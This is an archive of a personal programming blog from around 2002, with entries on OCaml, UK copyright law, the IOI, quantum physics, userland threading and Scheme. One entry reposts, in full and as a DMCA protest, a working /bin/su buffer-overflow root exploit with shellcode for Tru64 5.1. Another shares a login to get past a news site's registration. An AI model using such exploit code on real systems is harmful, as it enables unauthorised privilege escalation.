  There is a translation of a French O'Reilly O'Caml book online, but I find it's a little heavy for a introductionary text. I find that this book it nicer to start with. Maybe move on the O'Reilly book afterwards.
  
  This code snippet, which implements red-black binary tree insertion, should demonstrate the power of O'Caml even if you don't understand it. (This assumes you've seen what a mess a red-black insert looks like in C/C++. If not, see this, and I have reasonable reason to suspect there's an error in there since it was done partly from CLR).
  
  let balance = function
    Black, Node (Red, Node (Red, a, x, b), y, c), z, d ->
      Node (Red, Node (Black, a, x, b), y, Node (Black, c, z, d))
    | Black, Node (Red, a, x, Node (Red, b, y, c)), z, d ->
      Node (Red, Node (Black, a, x, b), y, Node (Black, c, z, d))
    | Black, a, x, Node (Red, Node (Red, b, y, c), z, d) ->
      Node (Red, Node (Black, a, x, b), y, Node (Black, c, z, d))
    | Black, a, x, Node (Red, b, y, Node (Red, c, z, d)) ->
      Node (Red, Node (Black, a, x, b), y, Node (Black, c, z, d))
    | a, b, c, d ->
      Node (a, b, c, d)
      
  let insert x s =
    let rec ins = function
      Leaf -> Node (Red, Leaf, x, Leaf)
    | Node (color, a, y, b) as s ->
        if x < y then balance (color, ins a, y, b)
        else if x > y then balance (color, a, y, ins b)
        else s
    in
      match ins s with    (* guaranteed to be non-empty *)
        Node (_, a, y, b) -> Node (Black, a, y, b)
      | Leaf -> raise (Invalid_argument "insert");;
  
  
  However, there are a couple of silly bits on O'Caml. Firstly, the bitwise (not, logical) AND function is called land. Secondly, the namespace for record fields is flat within a module, so you can't have 2 record/struct types with the same named field in a single module. I'm pretty sure that there isn't a deep reason for that (the shallow reason has to do with type inference).
  
  Dee M Cee A!
  
  From one of Coderman's friends....
  
  (Sung to the tune of Y.M.C.A by the Village People)
  
  Net geeks
    There's no need to feel guilt
  I said, net geeks
    For the software you built
  I said, net geeks
    'Cause you're not in the wrong
  There's no need to feel unhappy!
  
  Net geeks
    You can burn a CD
  I said, net geeks
    With your fave mp3s
  You can play them
    In your home or your car
  Many ways to take them real far!
  
  It's fun to violate
    the D M C A !
  It's fun to violate
    the D M C A-AY !
  You have everything
    You need to enjoy
  Your music with your toys!
  
  It's fun to violate
    the D M C A !
  It's fun to violate
    the D M C A-AY !
  
  You can archive your tunes
    You can share over cable
  You can annoy the
    Record Labels!
  
  
    
    
  Photos from the IOI are u...
    
  Photos from the IOI are up. There aren't many, but hopefully Richard got lots more on his (really nice) digital camera.
  
  
  Anonymous $1m grant to test copyright laws
  Amnesty International is crtical of the UK
  
  
    
    
  Lightbulbs and Quantum Physics
    
  Discovered a MAP_GROWSDOWN flag in asm/mman.h, unfortunately it doesn't seem to do what one would hope.
  
  Stand have a longish entry on the UK-DMCA. They suggest that the chances of parliament nullifing it are pretty much nil (which, I guess, is depressingly true), and suggest that people write to the UK Patent Office and the Secretary of State for Trade and Industry and try to get more opt-out clauses into the UK law. There has been far too little press coverage about this so far. I've contacted New Scientist, so hopefully they will have something.
  
  There's also a chance that NS will have a short section on the IOI. I only hope they don't include that god awful photo of the team taken at Cambridge. (and, no, I'm not giving the link!)
  
  
  
  One of the defining characteristics of quantum physics, over and above the classical, it that it is non-deterministic. Many people have had problems with this, most famously Einstein ("God does not play dice!"). A deterministic universe is very comforting to some people (myself half included) and certainly sits nicely with the logical worlds of maths and computers.
  
  Since many classical processes are statistically modelled (for example, temperature) because it's not useful deal at the level of individual, vibrating molecules some have suggested that the only reason that quantum physics looks non-deterministic is because we are only seeing the cumulative effects of an underlying deterministic system. These ideas are usually called hidden variable theories.
  
  I'm going to run over an argument that TBL gave to me and that's pretty much convinced me to give up on hidden variable theories.
  
  Imagine a light bulb which, at time t, is either on or off and its state is totally random. That's non-deterministic. Not imagine that a pseudo-random number generator (or a Rule 30 CA if you wish, Mr Wolfram) is hidden in the light bulb and actually governs the bulb's state. Given enough time we might be able to reverse the PRNG and that would be a deterministic universe.
  
  Now, our quantum universe might be really non-deterministic or it might have a deterministic process underlying it. However, Bell's Theorem shows that, if there is an underlying deterministic process, then it cannot be localised. So you could not take a section of the universe and have it be deterministic, only (possibly) the whole universe. However, we are in the universe, and so cannot measure every roll of the dice. So in the end you might as well give up on it being deterministic, because it would be a useless determinism anyway.
  
    
    
  Well, seems that JDarcy s...
    
  Well, seems that JDarcy sent in a comment, but changed the subject line so the comment processor rejected it. I thought the subject lines were odd enough looking that people would realise they denote the entry to be commented (or the comment to be commented in the case of threading).
  
  Anyway. The processor (silently) drops malformed mails so we will never know what insightful words JDarcy had the world (unless he reposts).
  
  Having said that, noone has yet managed to get a comment up. People have even mailed me about the comment system rather than post a comment!
  
  
  Greek govt bans all computer games
  Making video ram into a block device
  RIAA website defaced. (JPEG, 1024x607)
  How to Design Programs. The successor to SICP. Not sure if I like it better, certainly more of a textbook thou. (designed with DrScheme in mind).
  
  
    
    
  Comments System
    
  Well, turns out the that builders cut the power on Friday (about 3:30 BST) and metis lasted about 45 minutes on the UPS before dying. Since it's softswitched it doesn't power up when the power comes back on (which sucks) and I should get the UPS software working better. Oh, and by the way, I hate builders.
  
  
  
  Is an emailed based comments system a blogging first? Well, it's here anyway. Still a little rough about the edges but nothing a little testing (and bug reporting) can't fix (hint!).
  
  Should I put the mails in <pre> tags? At the moment I turn blank lines into <br><br> but that's all.
  
  Ecstasy not dangerous?
  
  Reports suggest that E mightn't be the instantly fatal rat-poison we thought it was. Well, we knew that anyway and it's nice to see a report that isn't funded by the US govt to repeat that "Drugs are baaaad".
  
  But don't forget the E is still the most adulterated street drug on the planet. It's been cut with everything under the sun, some of it pretty nasty.
  
    
    
  Hardware Hell
    
  It has a really bad few days for hardware. Firstly, metis (the server which hosts IV) dropped off the face of the net sometime Friday. As I write this it's still down, but I'll be going in to see what died tomorrow. Hopefully it just hit its mean time between failure for the memory and a bad bit flip killed it. Then again, another rat may have pissed in the power supply and shorted it out (I kid you not - that's what killed it last time)
  
  Talking of PSUs I think I need a new one. Twice today my SCSI array failed which causes a reasonably slow, but always fatal, system failure as more and more processes get stuck in the escalator. I'm pretty sure that I'm browning out the power supply having in my case, as I do:
  2 Processors
  4 9GB SCSI drives
  A 20GB IDE drive
  G400 Video card
  2 SCSI cards
  DVD drive
  Modem
  3 ISA cards
  Time for a bigger PSU I think
  
  Math's Gem
  
  Ok, so I'm sure it's a really well known result in number theory, but it's the first time I've seen it:
  
  For any integer n, to find the number of factors of the integer find the exponents of the primes in its prime factorisation (call that set a) and eval (reduce #'* (mapcar (lambda (x) (+ x 1)) a)))
  
  For example: where n=12 the prime factorisation is 2^2, 3^1 so a=(2, 1) and it has (2 + 1)(1 + 1) = 6 factors (namely 1,2,3,4,6,12)
  
  Comments
  
  It's a pretty standard feature of most blogs that users can add comments. Well, IV has never had that because it would require PHP (or something similar) and I just don't trust apache/PHP to be secure. However, after a remark from Ian I thought that I might be able to have an email based comment system. Watch this space.
  
  Static analysis of code
  
  I mentioned on Friday that statically analysing untrusted machine code to prove that it's safe to run might be a good idea (go read the post if you haven't already). Well, having thought about it (and looked at RTL) I'm thinking that working with C code might not be so bad after all. I've found a library (CTool) that looks as if it will make the whole parsing a lot easier. Again, watch this space.
    
    
  BRiX
    
  
  0wnz0red. A short fiction text from Cory Doctorow
  Pascal Costanza's Highly Opinionated Guide to Lisp
  
  
  
  
  BRiX (which I linked to yesterday) popped up on /. while I was in Korea and I've only just got round to having a look at it.
  
  Basically, it's a safe-language OS (where the OS doesn't need to protect processes from each other because the language they are all written in prevents them being bad). It's an old-trick, but I never seen a serious implementation and it would be cool if BRiX reached even a first-beta level (satanic red on black colour scheme not withstanding).
  
  However, I'm undecided on the merits of the safe-language approach. Firstly it mandates that every program be written in the language/byte code (where the changes with each safe-language OS). In BRiX's case the language is called Crush and looks like a typed dialect of Lisp. Learning a new language and rewriting everything in it is a nasty barrier to entry, even if it does hold a certain appeal in terms of cleaning out old code.
  
  With this in mind I'm wondering if a decompiler could statically analyse compiled C code and determine if it's safe. I think, in theory if system calls were treated as non-deterministic, then it should be possible. The practice, on the other hand, might be somewhat painful.
  
  Just a quick FAQ for anybody asking Why work with machine code, why not the C code?. Mainly because I think I would end up compiling the C code to a reasonably low level anyway. By working from the C code I might get some loop structure etc for free, but since it's perfectly legal to build loops out of gotos I would have to do control-flow analysis anyway, so why have the pain of processing C?
  
  It might be that working with RTL (gcc's intermediate code rep) would be better. There are flags for dumping RTL trees (see your gcc manpage) but I have no experience with RTL. And, of course, if you are happy with the machine code you can run it, but if you are only happy with the RTL you still have to trust a compiler to generate good binaries.
  
    
    
  802.11b networks
    
  Assorted (but unsorted) links:
  
  
  Making Haskell Programs Smaller and Faster
  John [Gilmore|Hall] on the .ORG bids
  Metamath (building all of maths from ZFC set theory
  Bell's Theorem (I should think I'll be writing more on this at some point - but not today)
  Bruce Sterling: Over 5,400 words of diffuse Papal-Imperial ranting to a restive audience of Linux freaks
  BRiX. A safe language OS.
  InfoAnarchy: Into the Age of Abundance
  
  
  
  
  Coderman is talking (a little) about P2P radio networks:
  
   Wide spread internetworked wifi hot spots + decentralized peer networks + strong crypto == sweet ass high speed unrestricted digital networks. The possible applications of such networks are extremely exciting (IMHO).
  
  The Freenet team were discussing this idea last year, not really anything to do with Freenet, but as a general point. I don't think this idea is really going to take off until there is a certain density of clueful people with 802.11b in a given area. However, this may already have happened in several places.
  
  Personally, I have far too little experience with 802.11b. The only time I've ever found an AP was in a hotel in Guildford and even then the AP was configured not to do anything. So I could pretty much SNMP walk it, ping it and little else .
  
  However, I agree totally with Coderman that it could be insanely cool.
  
  Much of the work on P2P wireless routing has dealt with getting packets to gateways over a number of hops. Basically a 2 tier network where packets are always going to, or coming from, a gateway. This is a much simpler problem than P2P routing over a network where the nodes will be moving.
  
  Now, one of the cool things that wireless networks do well is broadcast. I mean - it really is a broadcast and the bandwidth needed is independent of the number of nodes that are reached. Most routing protocols are designed for a wired world where broadcasting to n nodes requires n packets. I'm sure there are some cool routing protocols for this which don't require nodes to know their GPS position, thou I'll have to think some more about it.
  
  (and, of course, true broadcast makes DC rings worth considering for some problems)
  
    
    
  Crap. I so forgot to uplo...
    
  Crap. I so forgot to upload the MP letter yesterday. Fixed.
  
  This is quite an interresting example of bullshit in it's purest form. It's pretty rare to find anything this pure. I would pull some quotes from it, but that would dilute this, a masterpeice of its art-form [via Wes]
  
  Today's required reading is the beginning few chapters of the MetaMath book [via Raph]
    
    
  Results
    
  Right, I'm back from the IOI [warning: utter crap website]. I did pretty crap (about half way down I think). Partly because of a very depressing number of tiny, but critical, typos but mostly because I don't think I'm cut out for this timed algorithmic stuff. Give me a couple of days to think about something and I might come up with a decent algorithm. In 30 minutes it doesn't happen. I guess I could have done a lot better if I had just chosen poor, but simple algorithms - but that's not really in the spirit of the competition.
  
  I'll have photos scanned at some point, both from my camera and Richard's (the UK team leader) very impressive digital camera. That will be in a week or so.
  
  If I learnt one thing from my time in Korea it's this: Don't eat the Kimchi. Don't even ask about it.
  
  The IOI was held at Khung Hee University in Yong-In, Korea. It's a very nice campus, even if some of the buildings are bad European architecture copies. You can dig up the schedule of events and stuff from the website linked to above.
  
  It was superbly organised (with a budget of $2.2 million) to the point that our convoy of 24+ coaches (which took us everywhere) had a full police escort which closed off the roads ahead of us to let us pass.
  
  The guards armed with guns that looked like they could stop a tank where a little worrying. As was the day when we came back to find about 100 riot police sitting on their shields and waving at us. The small number of protesters, who had been protesting about KHU's treatment of the hospital workers, had gone.
  
  I've scanned the protester's flyer: side one, side two (help make your daily karma quota by reading it).
  
  The translations of some of the Korean into English (the official IOI language) provided some good laughs. It seems that Korean doesn't have a concept the the definite article, which is why they often miss out `the' and 'a'. (do an impression and you'll see that you do the same.)
  
  The next IOI (which I'll be too old for) is being held in the US. Unfortunately their major (only?) sponsor, USENIX, has dropped out. If your helpful company, with their huge amounts of cash-flow in these great economic times ,  would be interested in funding the US IOI I'm sure they would love to hear from you.
  
  
  
  The day before I went to Korea was A-level results day. Got the results at 10:30, out with friends until 1am the next morning and was up to go to the airport at 5am. One manic day .
  
  
  Type
  Subject
  Grade
  A-Level
  Biology
  A
  A-Level
  Maths
  A
  A-Level
  Further Maths
  A
  A-Level
  Physics
  A
  AEA
  Biology
  Distinction
  AEA
  Physics
  Merit
  
  
  A-Levels are the standard exam taken at 18. AEAs are super-A-levels which you don't study for (at least I didn't).
  
  Those results easily get me into Imperial College.
  
  EUCD (UK-DMCA)
  
  I've yet to check what organisations (like EuroRights and Stand) have been doing on this front but I had a neat letter from my MP in the post when I got home. You can see the scan here:
  
  I can assure you that I am sceptical of anything coming from the EU and, in your letter, you give good reasons why we should consider annulling this one - if we can!
  I will, therefore, take the matter up once Parliament resumes and will write you you again then. In the meantime, [thank] you for alerting me to this important issue
  
  The Conservatives are the second party in the UK (and Labour, the 1st party has a huge majority) so I'm not optimistic about getting this thing annulled. But at least we may be able to kick up a storm and raise the public perception.
  
  
  Crypto-GRAM
  
  It's nice to know that even people like Bruce Schneier have total brain farts sometimes too.
  
  The idea is that different users on the system have
  limitations on their abilities, and are walled off from each other.  This
  is impossible to achieve using only software
  
  Question of the day
  
  Will a random walk in discreet n dimensional space tend to cover the whole space, or only a fraction of it? If so, what fraction?
  
  (P.S. I don't actually know the answer)
    
    
  Back home. Need sleep....
    
  Back home. Need sleep.
  
    
    
  New addition to the Lette...
    
  New addition to the Letters page; a letter about the UKDMCA to my MP.
  
  Hmm, even 512 kilobaud Ogg Vorbis cannot encode some music quite right - I can still hear the artifacts and don't even think about mentioning MP3. So I've taken to using lossless compression - flac is good, open source and has a XMMS plugin. I'm getting about 25% compression.
  
    
    
  UK-DMCA
    
  Coderman is working on a new project - PeerFrogs. Looks like it forms the basis for his CodeCon 2 submission.
  
  
  
  From Danny O'Brien (the NTK guy):
  
  I'm pretty sure it's a statutory instrument with negative resolution -
  which is to say, it becomes law the moment it's announced, butParliament has forty days to pass a motion annulling it. AFAIK, that's
  how most EU Directives are implemented.
  
  
  Oh crap
  
  That means MP's have to get off their backsides and actually do something active. We screwed.
  
  Userland page fault handling
  
  One of the weaknesses of user land threading is that you have to alloc a fixed area as thread stack space. This imposes an extra, non-trivial, cost on thread creation as the stack size for all threads is determined by the biggest (unless you pass a hint at creation time which is dangerous).
  
  The solution to this is to do the same as the kernel does; handle page faults as the threads fall off the bottom of the stack space and map in pages to catch them. That way you have to set a fixed max size for stacks - but you don't have to map in all those pages. You use up address space, not memory
  
  Of course, address space isn't exactly huge in a 32-bit machine. On most Linux boxes I think dlls are mapped in at 0x80000000 (it's 0x00100000 here, but that's because I run funny kernel patches). That leaves half the address space free for mapping since the main stack grows down from the 3GiB mark.
  
  So, assuming that we have 2GiB of address space for stacks we can reserve 128KiB for stacks and fit in 16384 threads. When you consider that most threads will take about at least 8KiB of actual stack, and that 8KiB*16384 = 134MB of stack, that limit doesn't seem to bad. (It's still not great thou, and there is some deep&dangerous hackery that can get around it, email me if you want details).
  
  The actual page fault handling turns out not to be too hard. First mmap a couple of pages from /dev/zero for the signal stack (since we are trapping when we run out of stack we need the SIGSEGV handler to run on a different stack), fill out a stack_t struct and setup the SIGSEGV to use it. In the handler, process the siginfo_t and find the stack which faulted and use mmap to add another stack:
  
  void sig_segv (int sig, siginfo_t *siginfo, void *d)
  {
  	// Walk the threads and find the one that faulted from the fault
  	// address in siginfo->si_addr
  
  	// Use mmap with MAP_FIXED to map in another page at the right place
  }
  
  void
  setup_fault_handler ()
  {
  	stack_t sigst;
  	struct sigaction sigact;
  	char *sigstack;
  	int devzerofd;
  
  	devzerofd = open ("/dev/zero", O_RDWR);
  
  	sigstack = mmap (NULL, 8192, PROT_READ | PROT_WRITE, MAP_PRIVATE, devzerofd, 0);
  
  	sigst.ss_sp = sigstack;
  	sigst.ss_flags = 0;
  	sigst.ss_size = 8192;
  
  	sigact.sa_sigaction = sig_segv;
  	// set the sigact mask
  	sigact.sa_flags = SA_ONSTACK | SA_SIGINFO;
  
  	sigaltstack (&sigst, NULL);
  	sigaction (SIGSEGV, &sigact, NULL);
  }
  
  
    
    
  This is pretty cool (need...
    
  This is pretty cool (needs javascript). Go there and play before reading the rest of this.
  
  There are very few numbers which can be produced from the system of subtracting the digits of a number. 10-19 give an answer of 9, 20-29 give an answer of 18 and so on for multiples of 9. This reduces the possibility set drastically.
  
  The next thing to realise is that the possibilities are spaced out evenly and all the possibilities have the same symbol. Quite neat.
  
  
  
    
    
  BitTorrent
    
  
  John Zulauf's Monty Python DRM system[via Aaron] 
  [Warning: NYTimes reg required, try strsnyt as user and passwd]Story on how the deaths of a number of `microbiologists' isn't the evil plot it might seem
  Top bosses 'hijacking' eco-summit
  
  
  
  
  First release of bttrackd (my BitTorrent tracker) is here
  
  UK-DMCA
  
  On the UK-DMCA, quoting myself from a debian-uk post:
  
  The consultation lasts until the end of October and I think they are
  looking to pass the bill by the end of year. It's only August and we
  have to be careful not to move too fast. We are fighting against the
  treacle of people's attention spans and it takes a massive amount of
  energy to keep anything moving against that for  months. More energy
  than we have. We should wait until a few (3-4, I guess) weeks before
  the vote and blitz the press (as was done for the RIP extension, but
  then we didn't have much choice about the timing).
  
  Though that doesn't mean that we can't start preparing for it before
  then.
  
  
  MetaFun
  
  After giving up ages ago on getting any of the funky ConTeXt stuff working, I took the plunge and installed TeTeX, ConTeXt and Metafun manually. Seems to be working - I managed to compile this at least (just a few rip offs of examples from the metafun manual). I need to run mpost manually though.
  
    
    
  UK Political Corruption
    
  The UK implimentation of the EU copyright directive (read: UK-DMCA) has been published. The fight continues. Here's NTK's summary:
  
  when this becomes law, the "contract" you have with a
  copyright holder will almost completely trump your right as a purchaser of
  copyrighted material. And your contract is hereby defined by  the copy
  protection technologies the distributors stick on your media. So if that CD
  doesn't play on your PC - well, that's what you "agreed" to, and there's
  nothing you can do.  If you try and circumvent any the copy protection (or,
  in the case of computer programs, explain how to do so to anyone else), you
  can be punished as much as if you were pirating the data yourself (Article
  6). Heck, if you even try to remove any of the tracking spyware, you'll be in
  equal amounts of trouble (Article 7).
  
  Is anyone organising the defence? Time for another letter to my MP I guess
  
  All the security problems in 2.4.18 are listed in the 2.4.19-sec notes. however, if you're in the US the DMCA means it cannot be published there [FAQ]. For non-US citizens you can get it here. Of course, all this moral high ground is about to collaspe under the weight of the UK-DMCA.
  
  
   
  EWD594 - Th worlds first competent programmer
  Really dumb thief in my local town
  The SysAdmin card game [via Aaron]
  
  
  
  
  The Labour Party (who currently hold power in the UK for a second term, after the biggest second term election victory ever) have dire fiscal problems. They are estimated to be £6-8 million in debt and have had to ask for a donation of £100,000 from the unions to cover short term costs.
  
  The unions obliged and are making no secret of the fact that they expect something in return in terms of policy decisions.
  
  Am I the only one whos jaw dropped at the way this corruption (and that's what it is) is accepted? If a business did the same there would be political hell to pay. It's time for public funding of political parties.
  
  (and maybe then the MP3 party can have a good stab )
  
  setuidgid and chroot
  
  setuidgid is utility program included with daemontools. It occurs that it's impossible to use this with chroot:
  
  chroot(2) requires root on most systems, therefore it must be run before
  setuidgid. This means that setuidgid is run with root permissions (as it
  always must be) and must be in the chroot jail in order for chroot(1) to run
  it. Thus if the final process in the chain (usually the one that setuidgid
  execs) is exploited it can change the setuidgid binary in the jail, and so runcode as root the next time that daemon is started.
  
    
    
  I'm working on a BitTorre...
    
  I'm working on a BitTorrent tracker in C, as bram asked for one in the todo. It's half-done I guess and since the point of it is speed it has some pretty funky data structures which are going to take a while to debug. In fact the function to verify them is looking pretty hairy.
  
  Unless you have your head deep in the sand you'll know that Edsger Dijkstra has died of cancer. Joey has the best writeup so far.
  
  Cryptome has long served as the website for infomation that some people wouldn't like published. It now has a companion site, The Memory Hole. Salute these people - they do the good work.
  
  
  An algorithm for prime testing in polynomial time
  Janis Ian Redux
  Everything you've always wanted to know about Yasir Arafat and far more besides
  Python Blog which is worth a read
  XHTML 2 fallout
  Barcode generator
  BPI (the UK RIAA) is trying to get £1 million from a chain of Internet cafes which had CD burners in store
  
  
    
    
  CodeCon 2003 Call For Pap...
    
  
  CodeCon 2003 Call For Papers
  Talking sense about XML
  MonkeyFist Weekly News Review
  XHTML2. I wonder how long it will be before browsers support it
  
  
    
    
  Memes Redux
    
  I head off home tomorrow. I would have gone today but the British rail system being what it is (which is generally ok, but crap on Sundays) the only train was at 23:30 and gets in at 9 tomorrow morning.
  
  Keith commented on my ramble about memes on Wednesday. I'll expand a little on that today.
  
  
  
  I think a lot of my ramble can be represented as the question "Is elegance a fundamental environmental factor for memes?". The fitness function for a genetic algorithm has 2 parameters - the replicator and the environment. The environment can be split into fundamental factors and other replicators.
  
  As an example, in gene evolution rain is a fundamental factor of the environment (at least it is here). If the gene causes its host to explode whenever it rains that seriously hurts its fitness. (not to mention creating a real mess.) In the same example, predators are other replicators effecting the environment of a gene. If the gene causes the host to light up in the ultraviolet and its predators see ultraviolet then that, too, will hurt its fitness.
  
  So is elegance a fundamental factor or a meme? I can think of evidence for and against - but in the end I guess the argument is a little pointless. If anyone disagrees (with either assertion) - feel free to reply
  
  
    
    
  Memes
    
  I'm going to quote out of an email reply I just wrote tonight. It's a little rambling, but never mind. I think it's kind of interesting and hopefully will help me get a grip of my thoughts faster next time I'm thinking around these areas.
  
  Tune of the moment: Scooter - Ramp (The Logical Song) (Radio Mix)
  
  
  
  I don't think memes/genes are conscious, but I do think that, as
  replicators, they can exert a powerful influence to aid their
  replications. You can often pick out features in memeplexes (a set of
  interacting memes which can be functionally treated as a whole) designed
  as an `immune system' etc. For example the Christian ideas of "I am the
  one true god, worship no other" and of faith seem (to me) to fit into
  that category.
  
  You can certainly pick out other categories of memes in memeplexes too:
  
  	
  Insertion vectors:
  	
  
                  
  explaining the meaning of life
  		
  giving hope after death
  	
  	
  Gene interactions, keeping the host alive:
  	
  
  		
  Rules for hygiene and living
  	
  	
  Replication:
  	
  
  		
  (Evangelical branches are strong in these)
  		
  Unbelievers go to hell come Judgement Day
  		
  Missionary stories
  	
  	
  Benefit for the creator (sometimes):
  	
  
  		
  Scientology
  	
  
  
  Memes/genes also provide an ethical axiom which allows the construction
  of morals which I consider to be reasonable. Of course I'm working
  backwards here (from the high level towards to axioms) and I'm sure that
  working the other way could lead to morals that I couldn't accept.
  
  
  However, it does lead to some positions which many would find
  objectionable. For one I much more supportive of animal testing than
  most. I'm also
  quite supportive of the idea of genetically modifying a human germline
  with the proviso that we get better at it first.
  
  I don't think I can articulate the structure I want to at the moment.
  Maybe I'll come back to it later. (if you're reading this I guess I
  didn't).
  
  Later: Ok, I still don't think I can articulate it so I'm leaving that
  last paragraph in, but here goes:
  
  Since I'm making value judgements about moral systems I must have some
  built in morality (memes) which almost certainly come from my upbringing.
  My upbringing is mostly Christian, but not strongly so. My parents
  don't go to church etc so I have a pretty common Western set (don't kill
  people, be nice etc).
  
  However, I feel the need to justify those memes and I flat out reject
  the theistic aspects of Christianity. I also reject some of those
  upbringing moral memes. So either I have `scientific model' memes too or
  something is built in.
  
  Now, morals change all over the world and can generally be
  overridden/ignored in a Lord of the Flies type of way. But there is a
  certain sense of grace that I'm wondering might be built in. The grace
  I'm talking about is the beauty of great mathematical proofs or the
  elegance of superb design.
  
  I cannot see that this is generally communicated as a meme and it seems
  to have existed (in some individuals) in many different cultures and at
  many different times.
  
  So maybe my need to justify my moral set comes from an inbuilt human
  attribute rather than a meme. And an justification needs axioms, which
  is where memetic theory came in.
  
  																	
  
    
    
  HP uses the DMCA to try a...
    
  HP uses the DMCA to try and hide security problems in Tru64: /. and News.com. Here is it for all you people anyway:
  
  /*
   /bin/su tru64 5.1
   works with non-exec stack enabled
   
   stripey is the man
  
   developed at http://www.snosoft.com in the cerebrum labs
  
   phased
   phased at mail.ru
  */
  
  #include <stdio.h>
  #include <stdlib.h>
  #include <string.h>
  #include <unistd.h>
  
  char shellcode[]=
  	"\x30\x15\xd9\x43"      /* subq $30,200,$16             */
  	"\x11\x74\xf0\x47"      /* bis $31,0x83,$17             */
  	"\x12\x14\x02\x42"      /* addq $16,16,$18              */
  	"\xfc\xff\x32\xb2"      /* stl $17,-4($18)              */
  	"\x12\x94\x09\x42"      /* addq $16,76,$18              */
  	"\xfc\xff\x32\xb2"      /* stl $17,-4($18)              */
  	"\xff\x47\x3f\x26"      /* ldah $17,0x47ff($31)         */
  	"\x1f\x04\x31\x22"      /* lda $17,0x041f($17)          */
  	"\xfc\xff\x30\xb2"      /* stl $17,-4($16)              */
  	"\xf7\xff\x1f\xd2"      /* bsr $16,-32                  */
  	"\x10\x04\xff\x47"      /* clr $16                      */
  	"\x11\x14\xe3\x43"      /* addq $31,24,$17              */
  	"\x20\x35\x20\x42"      /* subq $17,1,$0                */
  	"\xff\xff\xff\xff"      /* callsys ( disguised )        */
  	"\x30\x15\xd9\x43"      /* subq $30,200,$16             */
  	"\x31\x15\xd8\x43"      /* subq $30,192,$17             */
  	"\x12\x04\xff\x47"      /* clr $18                      */
  	"\x40\xff\x1e\xb6"      /* stq $16,-192($30)            */
  	"\x48\xff\xfe\xb7"      /* stq $31,-184($30)            */
  	"\x98\xff\x7f\x26"      /* ldah $19,0xff98($31)         */
  	"\xd0\x8c\x73\x22"      /* lda $19,0x8cd0($19)          */
  	"\x13\x05\xf3\x47"      /* ornot $31,$19,$19            */
  	"\x3c\xff\x7e\xb2"      /* stl $19,-196($30)            */
  	"\x69\x6e\x7f\x26"      /* ldah $19,0x6e69($31)         */
  	"\x2f\x62\x73\x22"      /* lda $19,0x622f($19)          */
  	"\x38\xff\x7e\xb2"      /* stl $19,-200($30)            */
  	"\x13\x94\xe7\x43"      /* addq $31,60,$19              */
  	"\x20\x35\x60\x42"      /* subq $19,1,$0                */
  	"\xff\xff\xff\xff";     /* callsys ( disguised )        */
  
  /* shellcode by Taeho Oh */
  
  main(int argc, char *argv[]) {
  int i, j;
  char buffer[8239];
  char payload[15200];
  char nop[] = "\x1f\x04\xff\x47";
  
  bzero(&buffer, 8239);
  bzero(&payload, 15200);
  
  for (i=0;i&lt;8233;i++)
          buffer[i] = 0x41;
  
  /* 0x140010401 */
  
          buffer[i++] = 0x01;
          buffer[i++] = 0x04;
          buffer[i++] = 0x01;
          buffer[i++] = 0x40;
          buffer[i++] = 0x01;
  
  for (i=0;i&lt;15000;) {
  	for(j=0;j&lt;4;j++)  {
          	payload[i++] = nop[j];
  	}
  }
  
  for (i=i,j=0;j&lt;sizeof(shellcode);i++,j++)
  	payload[i] = shellcode[j];
  
  	printf("/bin/su by phased\n");
  	printf("payload %db\n", strlen(payload));
  	printf("buffer %db\n", strlen(buffer));
  
  	execl("/usr/bin/su", "su", buffer, payload, 0);
  
  }
  
  
    
    
  Semantic Web
    
  Zooko has gone away again and shutdown his mail server. However, I'm ready for him this time! . I'm getting quite good with qmail because of all all this.
  
  Buffer overflows in OpenSSL makes a mess of a number of programs. However, these came to light because of a number of code reviews so this is an example of open source working, security wise. It would be nice to know that the privsep code in OpenSSH stops these overflows from really doing damage - but I haven't heard anything to that effect. Boxes upgraded anyway.
  
  Also, big bugs in PHP 4.2.[01]. Fixed in 4.2.2. All upgrade.
  
  Programming with Schelog. Pretty cool - for best results mix with the SemWeb (see below)
  
  
  
  Today/tonights reading was semantic web stuff. The W3C and TimBL (not to be confused with the other TBL who I have mentioned here before) have been talking about this Semantic Web stuff for ages. This SciAm article (May, 2001) is a good introduction and TimBL talks lots about it towards the end of Weaving the Web. However, all them seem to have is a lot of talk. All the talk lays out a system of logic graphs with a simple type system. The type system is too simple but they hint about DAML+OIL and WebOnt WG as better ones, so why don't they switch?
  
  I can't help feeling that the actual content of the Semantic Web group could have been knocked out over a couple of weekends. What they should be doing is building a good Schema defining relations for many different groups and kniting them together because that's political work and the the clout of the W3C would help lots. Then then can actually start pushing it and say "Here's the schema for a [bookshop|weblog|generic company], markup your stuff and look what our cool tools can do!"
  
  It wouldn't be perfect, but face it, it's not going to be perfect anyway and it doesn't have to be. Worse is sometimes better; UNIX killed the Lisp machine.
  
  (and on a more technical note: they don't seem to have the concept of different relations holding at different times. And, talking of that, they don't even seem to have defined how to spec a time - that's how primitive it still is)
  
  It also occurs to me that one of the bumps on the road for the Semantic Web is that companies don't actually really want to help the customer. Remember how the hype said that web agents would be searching all the vendors web sites and finding the cheapest for a given item? (and this was going to be done by about 1995 or something) Well the SemWeb is a step on the way to that situation and that isn't good news for companies as it forces them into price wars on many goods. Thus I expect that they are going to resist exposing information like that and form confusopolies (that's a Dilbert word, and a really good one).
  
    
    
  Scheme
    
  Well, I did come up with a load of links over the weekend and wrote up an IV entry - then promptly forgot to upload it. Rats. That'll sit at home for another couple of weeks now
  
  However, here are some that I dug out today:
  
  1984 wasn't a HOWTO, Mr Bush!
  An Invitation to Algorithmic Information Theory
  
  You're going to have to Google for the rest of the links today
  
  God it's hot. Not going to be sleeping well tonight
  
  
  
  Been looking at Bigloo - a compiler for (mostly) R5RS Scheme which outputs C and Java bytecodes as its backends. One very nice feature is that it's designed to work with Java/C native code really well. However much we might wish it wasn't, the reality is that FFI interfaces in higher level languages (now there's a vague term (and a redundant acronym for that matter)) are really important.
  
  It even manages to compile non-deterministic code using call/cc (see the snippet below, mostly from On Lisp)
  
  In addition it has a nice (ILISP like) Emacs interface and what looks like a very nice native IDE, called BDK. I say looks like because I cannot get it to compile, but the screen shots are impressive
  
  LtU has a link to conference notes about Bigloo's TK based GUI toolkit, called BigLook
  
  (module nondet)
  
  (define *paths* '())
  (define failsym '@)
  
  (define (choose choices)
    (if (null? choices)
        (fail)
      (call-with-current-continuation
       (lambda (cc)
  	(set! *paths* (cons (lambda ()(cc (choose (cdr choices)))) *paths*))
  (car choices)))))
  
  (define fail 0)
  
  (call/cc
   (lambda (cc)
     (set! fail (lambda ()
  		 (if (null? *paths*)
  		     (cc failsym)
  		     (let ((p1 (car *paths*)))
  			(set! *paths* (cdr *paths*))
  			(p1)))))))
  
